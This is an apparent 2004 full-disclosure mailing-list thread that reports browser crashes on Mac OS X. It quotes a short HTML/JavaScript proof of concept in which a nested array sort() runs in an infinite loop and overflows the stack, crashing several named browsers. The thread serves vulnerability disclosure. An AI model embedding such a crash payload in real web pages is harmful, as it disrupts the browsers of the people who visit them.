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RE: More Browser on Macosx flaws: nested array sort() loop Stack overflow exception

From: Alex R (alexdeviousmeans.net)
Date: Fri Nov 26 2004 - 10:56:01 CST

Anyone know why so many browsers are affected?

-----Original Message-----
From: Marco Mella [mailto:mxmellayahoo.it]
Sent: Thursday, November 25, 2004 6:48 PM
To: full-disclosurelists.netsys.com; bugtraqsecurityfocus.com;
vuln-devsecurityfocus.com; skylinededup.tudelft.nl
Cc: marco.mellatelecomitalia.it
Subject: More Browser on Macosx flaws: nested array sort() loop Stack
overflow exception

Same problems on MACOSX 10.3.6 with:
-Safari 1.2.4
-Mozilla 1.7
-Camino 0.7.0
-Firefox 1.0
-Opera 6.0.3

Not affected IE 5.2.3

Regards
--
Marco Mella

---------

  Hi all,

  Same flaw works for Firefox as well as MSIE:

  <HTML>
    <SCRIPT> a = new Array(); while (1) { (a = new
Array(a)).sort(); } </SCRIPT>
    <SCRIPT> a = new Array(); while (1) { (a = new
Array(a)).sort(); } </SCRIPT>
  </HTML>

  Added to the list:
http://www.edup.tudelft.nl/~bjwever/advisory_firefox_flaws.html

  I'd have loved to CC mozilla about this, but I
didn't have the time to do the crash course "how to
write a bug report" and go through all that bugzilla
crap.

  Cheers,
  SkyLined
  http://www.edup.tudelft.nl/~bjwever

                
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